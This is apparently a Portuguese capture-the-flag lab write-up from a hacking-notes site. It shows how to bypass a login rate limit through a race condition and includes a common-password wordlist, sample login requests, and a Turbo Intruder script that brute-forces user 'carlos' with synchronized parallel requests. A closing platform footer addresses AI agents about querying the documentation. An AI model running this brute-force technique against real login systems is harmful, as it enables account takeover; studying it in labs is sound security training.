> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/rate-limit-bypass-via-race-condition.md).

# Bypass de limite de taxa via condição de corrida

### Contornando limites de taxa via condições de corrida

O mecanismo de autenticação estabelece um **limite do número de tentativas** para impedir ataques de força bruta. / No entanto, \*\* observa-se\*\* que essa proteção pode ser contornada devido a uma **condição de corrida** ao processar requisições simultâneas.

Objetivo do laboratório:

* Use a condição de corrida para contornar a limitação.
* Encontrar senha do usuário **carlos**.
* Conecte-se à aplicação.
* Acesse o painel de administração.
* Excluir usuário **carlos**.

#### Lista de palavras usada

```bash
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
senha
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
```

#### Observação do mecanismo de conexão

Ao enviar o formulário de login, \*\* observa-se\*\* que uma requisição POST é transmitida com os seguintes parâmetros:

* `CSRF`
* `nome de usuário`
* `senha`

```bash
csrf=8SbZ2jaR8pdJ0Q4r0XNqmTeVk5GJHxsx&username=wiener&password=peter
```

<figure><img src="/files/948e36f8ed6aa9d0a1e70d1c80cbb4ba14d8f4df" alt=""><figcaption></figcaption></figure>

Após várias tentativas incorretas consecutivas, **a mensagem aparece**:

> *Você fez muitas tentativas de login incorretas. Tente novamente em XX segundos.*

Isso confirma a presença de uma **limitação de taxa no lado do servidor**.

<figure><img src="/files/5de6901eb16ed07b14d17b5d1abf516bae613a33" alt=""><figcaption></figcaption></figure>

#### Contorno por condição de corrida (testes manuais)

\*Criação de um grupo "race condition".

<figure><img src="/files/ffa728550b1fe85a38ab06a01a407d0131d817c1" alt=""><figcaption></figcaption></figure>

* Duplique a aba **10 vezes**.

<figure><img src="/files/36b5df4afa3ce9356db516e40cadee3ef6603c04" alt=""><figcaption></figcaption></figure>

* Envie todas as requisições **em paralelo**.

<figure><img src="/files/4d31f306e63482b89e0c2b5c8966944d7a772f76" alt=""><figcaption></figcaption></figure>

Teste :

```bash
csrf=ab5gEWlWPKDUCJCQAlxrxR42dLIhJCWR&username=wiener&password=test
```

Observação: Ao enviar em paralelo, **o bloqueio não ocorre** neste caso.

<figure><img src="/files/7f94337caf6638c55986a521f9c9afff1981a873" alt=""><figcaption></figcaption></figure>

#### Força bruta paralela em Carlos com Turbo Intruder

* Instale e use o **Turbo Intruder** extensão.

<figure><img src="/files/d3d3ea19aee76638d1fe7aedfd79bd06952f8bd5" alt=""><figcaption></figcaption></figure>

* Da requisição de login: **Enviar para o Turbo Intruder**.

<figure><img src="/files/43f6db06ea4bc451b67f76314ea05e0ce6bf6d79" alt=""><figcaption></figcaption></figure>

* Selecione o **`race single packet attack.py`** script.

<figure><img src="/files/916936274e412f668e40c882be2ea092541fe182" alt=""><figcaption></figcaption></figure>

* Copie a lista de palavras para a **área de transferência**, então execute com este script:

```python
def queueRequests(target, wordlists):

    # se o alvo suportar HTTP/2, use engine=Engine.BURP2 para disparar o ataque de pacote único
    # se ele suportar apenas HTTP/1, use Engine.THREADED ou Engine.BURP em vez disso
    # para mais informações, confira https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )


    passwords = wordlists.clipboard
    # o argumento 'gate' retém parte de cada requisição até que openGate seja chamado
    # se você vir um timestamp negativo, o servidor respondeu antes de a requisição estar completa
    for password in passwords:
        engine.queue(target.req, password, gate='race1')

    # assim que todas as requisições marcadas com 'race1' tiverem sido enfileiradas
    # invoque engine.openGate() para enviá-las em sincronia
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)

```

#### Resultado observado

Ao testar todos os valores em paralelo, uma senha retorna um \*\*código HTTP 302\*\* (indicador de sucesso no login).

<figure><img src="/files/01675abed4aa394d281bdf2dc8238de67e4633c7" alt=""><figcaption></figcaption></figure>

\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/rate-limit-bypass-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
